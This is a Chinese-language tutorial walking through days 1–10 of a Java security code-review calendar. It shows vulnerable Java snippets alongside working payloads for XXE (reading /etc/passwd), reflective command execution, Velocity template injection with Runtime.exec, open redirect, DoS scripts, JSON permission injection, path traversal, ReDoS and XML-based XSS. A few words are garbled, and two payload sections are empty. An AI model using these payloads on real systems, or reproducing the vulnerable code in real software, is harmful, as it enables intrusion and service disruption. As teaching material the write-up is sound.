通过一些典型的Java代码来分析易产生漏洞的点,入门篇。。。
项目地址 1 https://www.ripstech.com/java-security-calendar-2019/
Day 1 - Candy Cane之XXE攻击 漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import org.jdom2.Content;import org.jdom2.Document;import org.jdom2.JDOMException;import org.jdom2.input.SAXBuilder;public class ImportDocument { public static String extractString () throws IOException, JDOMException { File initialFile = new File("uploaded_office_doc.odt" ); InputStream in = new FileInputStream(initialFile); final ZipInputStream zis = new ZipInputStream(in); ZipEntry entry; List<Content> content = null ; while ((entry = zis.getNextEntry()) != null ) { if (entry.getName().equals("content.xml" )) { final SAXBuilder sax = new org.jdom2.input.SAXBuilder(); sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing" ,true ); Document doc = sax.build(zis); content = doc.getContent(); zis.close(); break ; } } StringBuilder sb = new StringBuilder(); if (content != null ) { for (Content item : content){ sb.append(item.getValue()); } } return sb.toString(); } }
手册:
1 http://www.jdom.org/docs/apidocs/
查看手册可知,SAXBuilder
类主要对xml文件进行解析,当解析的内容可控时可构造恶意的xml文件进行xxe攻击。代码中通过读取uploaded_office_doc.odt
文件(实际上也是一个ZIP文件),进行遍历判断是否存在content.xml
文件,存在的话则对xml文件进行解析。
构造如下:
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE foo [ <!ELEMENT text ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo > &xxe; </foo >
Day 2 - Eggnog Madness之任意对象实例化 漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import org.json.*;public class MainController { private static String[] parseJsonAsArray(String rawJson, String field) { JSONObject obj = new JSONObject(rawJson); JSONArray arrJson = obj.getJSONArray(field); String[] arr = new String[arrJson.length()]; for (int i = 0 ; i < arrJson.length(); i++) { arr[i] = arrJson.getString(i); } return arr; } private static String parseJsonAsString (String rawJson, String field) { JSONObject obj = new JSONObject(rawJson); return obj.getString(field); } public MainController (String rawJson) { this (parseJsonAsString(rawJson, "controller" ), parseJsonAsString(rawJson, "task" ), parseJsonAsArray(rawJson, "data" )); } private MainController (String controllerName, String task, String... data) { try { Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this; System.out.println(controller.getClass().getMethod(task)); controller.getClass().getMethod(task).invoke(controller); } catch (Exception e1) { try { String log = "# [ERROR] Exception with data: " + data + " with exception " + e1; System.err.println(log); Runtime.getRuntime().exec(new String[]{"java" , "-jar" , "log4j_custom_dlogger.jar" , log.replaceAll("." , "" )}); } catch (Exception e2) { System.err.println("FATAL ERROR: " + e2); } } } }
代码不是很长,大致逻辑为判断传入参数是否为MainController
,是的话则直接对Object
赋值,不再进行实例化,不是的话根据传入的控制器名进行实例化并调用任意方法。由于参数可控,则可对任意对象进行实例化并调用其函数。
payload:
1 rawJson={"controller":"java.lang.ProcessBuilder","task":"start","data":["touch","hacked.jsp"]}
此类用于创建操作系统进程。每个ProcessBuilder
实例管理一个进程属性集。start()
方法利用这些属性创建一个新的 Process
实例。
Day 3 - Christmas Carols之Velocity模版注入 漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.apache.velocity.app.VelocityEngine;import org.apache.velocity.VelocityContext;import java.util.HashMap;import java.util.Map;public class TemplateRenderer { private final VelocityEngine velocity; public String renderFragment (String fragment, Map<String,Object> contextParameters) { velocity = new VelocityEngine(); velocity.init(); VelocityContext context = new VelocityContext(contextParameters); StringWriter tempWriter = new StringWriter(fragment.length()); velocity.evaluate(context, tempWriter, "renderFragment" , fragment); return tempWriter.toString(); } public String render (HttpServletRequest req, HttpServletResponse res) { Map<String, Object> hm = new HashMap<String, Object>(); hm.put("user" , req.getParameter("user" )); String template = req.getParameter("temp" ); String rendered = renderFragment(template,hm); res.getWriter().println(rendered); } }
Velocity模板引擎非常强大。你可以在模板中使用条件判断,循环,外部函数调用等逻辑代码。它里面也没有一个沙箱去限制操作。一个恶意的用户如果可以控制模板,那么他就可以在服务器端运行恶意代码。
代码中的velocity.evaluate()函数,用来在运行时动态解析模版语言,因此,若传入的是Java代码,即可执行Java代码。而fragment参数是可由攻击者控制的,fragment参数值会被Velocity当作Java代码执行,因此可导致代码注入漏洞。
这种模版注入的限制是攻击者不能执行Java代码。因此,需要使用Java反射机制来访问Java类最终达到执行任意命令。
Java反射 机制是指在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性。这种动态获取信息以及动态调用对象的方法的功能称为java语言的反射机制。
Velocity指令以#开头,后面跟一个关键字,例如#set
指令,其功能是向一个变量或属性赋值。首先将一个变量$s
赋值为空,即#set($s="")
,然后再向一个变量$stringClass
赋值为前一个变量的对象调用,获取基类,这个基类有Java.lang.Runtime
的类对象。
payload:
1 user=&temp=#set($s="")#set($stringClass=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("touch hacked.jsp"))$stringClass
Day 4 - Father Christmas之任意重定向 漏洞代码:
1 2 3 4 5 6 7 8 9 10 import javax.servlet.http.*;public class Login extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url" ); if (url.startsWith("/" )) { response.sendRedirect(url); } } }
代码中url参数是由攻击者可控的,然后在经过startsWith("/")
的判断后,进行endRedirect()
函数进行跳转。本来startsWith("/")
的判断是为了保证跳转的url是一个相对路径在本域下,然而以/开头的url并非只有相对路径才可以,例如//attacker.org
是一个不带scheme的绝对路径URI,在进行跳转时,会直接跳转到http://attacker.org
payload:
Day 5 - Wintertime之拒绝服务攻击 漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.servlet.http.HttpServletRequest;import java.util.Enumeration;public class Request { public static String toString (HttpServletRequest req) { StringBuilder sb = new StringBuilder(); String delimiter = req.getParameter("delim" ); Enumeration<String> names = req.getParameterNames(); while (names.hasMoreElements()) { String name = names.nextElement(); if (!name.equals("delim" )) { sb.append("<b>" + name + "</b>:<br>" ); String[] values = req.getParameterValues(name); for (String val : values) { sb.append(val); sb.append(delimiter); sb.append("<br>" ); } } } return sb.toString(); } }
代码的第6行实例化了StringBuilder
对象,StringBuilder
是可变对象,用来高效拼接字符串;默认情况下,StringBuilder
对象初始化为大小为16的数组。每次追加新值时,StringBuilder
实例都会检查数据是否适合数组。否则,数组的大小将加倍。在这种情况下,会有一个大的放大,这会导致Java堆耗尽内存。默认情况下,Apache Tomcat
对POST请求具有2MB限制,最大参数为10000个参数。如果我们将参数Delm(例如,1.8 MB)与一个具有多个(例如10000个)HTTP参数的数组结合起来的值非常大,则考虑到StrugBuuDER内部结构,我们可以最大限度地扩大因子~(20000)。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl = "http://localhost:8080/day5" delim = "" A=[] data="delim=" +delim for i in range(1 ,30000 ): delim = delim+'------------------------------------------------' for i in range(1 ,300 ): A.append("test_the_DoS" ) data=data+"&A{index}=" .format(index=i)+A[i-1 ] header={'content-type' :"application/x-www-form-urlencoded" } res=requests.post(url=url,data=data,headers=header) print(res)
Day 6 - Yule之拒绝服务攻击 漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.io.*;import java.nio.file.*;import javax.servlet.http.*;public class ReadFile extends HttpServlet { protected void doPost (HttpServletRequest request,HttpServletResponse response) throws IOException { try { String url = request.getParameter("url" ); String data = new String(Files.readAllBytes(Paths.get(url))); } catch (IOException e) { PrintWriter out = response.getWriter(); out.print("File not found" ); out.flush(); } } }
阅读代码可以看出,通过url
参数来获取文件路径,并读取文件的内容,但内容无法返回客户端,无法造成任意文件读取,但路径可控,可以读取/dev/random
来造成拒绝服务攻击。
/dev/random
在类UNIX系统 中是一个特殊的设备文件 ,可以用作随机数发生器 或伪随机数发生器 。在访问这个文件是可一直读取,并最终导致IOException处理程序无法捕获的内存耗尽。
payload:
Day 7 - Jingle Bells之伪造提权 漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import com.fasterxml.jackson.core.*;import javax.servlet.http.*;import java.io.*;public class ApiCache extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws IOException { storeJson(request, "/tmp/getUserInformation.json" ); } protected void doGet (HttpServletRequest request, HttpServletResponse response) { loadJson(); } public static void loadJson () { } public static void storeJson (HttpServletRequest request, String filename) throws IOException { JsonFactory jsonobject = new JsonFactory(); JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8); jGenerator.writeStartObject(); jGenerator.writeFieldName("username" ); jGenerator.writeRawValue("\"" + request.getParameter("username" ) + "\"" ); jGenerator.writeFieldName("permission" ); jGenerator.writeRawValue("\"none\"" ); jGenerator.writeEndObject(); jGenerator.close(); } }
由代码可知,存在一个记录用户信息的json
文件,在写入过程中,参数username
完全可控,通过特意构造的用户名可以使none
权限改为任意权限,成功利用此漏洞还取决于loadJson()
的实现。要成功利用此问题,loadJson()
方法必须仅反序列化每个键的第一个匹配项,以便忽略重复键。
payload:
1 ?username=foo","permission":"all
result:
1 2 3 4 5 { "username":"foo", "permission":"all", "permission":"none" }
Day 8 - Icicles之未授权下载 漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.io.File;import javax.servlet.http.*;public class GetPath extends HttpServlet { protected void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { try { String icons = request.getParameter("icons" ); String filename = request.getParameter("filename" ); File f_icons = new File(icons); File f_filename = new File(filename); if (!icons.equals(f_icons.getName())) { throw new Exception("File not within target directory!" ); } if (!filename.equals(f_filename.getName())) { throw new Exception("File not within target directory!" ); } String toDir = "/var/myapp/data/" + f_icons.getName() + "/" ; File file = new File(toDir, filename); } catch (Exception e) { response.sendRedirect("/" ); } } }
代码大致逻辑为通过参数icons
和filename
获取文件路径与文件名,通过File
类的getName
函数来获取当前路径或文件的名字,有效防止目录遍历的危险,如../../pass.txt
获取的结果为pass.txt
,但当..pass.txt
时仍为..pass.txt
,因此payload为:
1 icons=..&filename=hacked.txt
Day 9 - Chestnuts之ReDos 漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import java.io.*;import java.util.regex.*;import javax.servlet.http.*;public class Validator extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/plain" ); response.setCharacterEncoding("UTF-8" ); PrintWriter out = response.getWriter(); if (isInWhiteList(request.getParameter("whitelist" ), request.getParameter("value" ))) { out.print("Value is in whitelist." ); } else { out.print("Value is not in whitelist." ); } out.flush(); } public static boolean isInWhiteList (String whitelist, String value) { Pattern pattern = Pattern.compile("^[" + whitelist + "]+" ); Matcher matcher = pattern.matcher(value); return matcher.matches(); } }
代码中的whitelist
参数是正则表达式模式的部分。value参数值在第22行被验证是否符合whitelist
组成的模式。由于whitelist
和value
的值都是由攻击者控制的,攻击者可以注入任意正则表达式并控制该表达式的值与之相配。使用复杂的正则表达式产生CPU消耗,从而导致DoS。这种DoS的方式被称为ReDoS。
将连接whitelist
作为pattern
的”[“和”]”分别改为”(“和”)”。在前面的测试中,发现”[“和”]”,并不能导致拒绝服务攻击。将其改成”(“和”)”即可导致拒绝服务。
payload:
1 whitelist=([a-z])+.)+[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Day 10 - Anticipation之XML响应中的XSS 漏洞代码:
1 2 3 4 5 6 7 8 9 10 @RequestMapping ("/webdav" ) public void webdav (HttpServletResponse res, @RequestParam("name" ) String name) throws IOException { res.setContentType("text/xml" ); res.setCharacterEncoding("UTF-8" ); PrintWriter pw = res.getWriter(); name = name.replace("]]" , "" ); pw.print("<person>" ); pw.print("<name><![CDATA[" + name.replace(" " ,"" ) + "]]></name>" ); pw.print("</person>" ); }
这段代码中,用户输入通过@RequestParam注解从GET或POST参数”name”到达函数中的name参数。且第三行响应的”Content-Type”被设置为”text/xml”。输入流是攻击者可控的,则他可以注入具有xml名称空间属性”http://www.w3.org/1999/xhtml”的script标签,从而执行XSS。
CDATA指的是不应由XML解析器进行解析的文本数据,因此需要将其闭合以避免注入的JS代码变成文本。然后注入带有命名空间属性“http://www.w3.org/1999/xhtml" 的script标签,将script标签定义为具有html属性的script标签。因此可以被浏览器当作JavaScript代码执行。payload如下:
1 name=test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[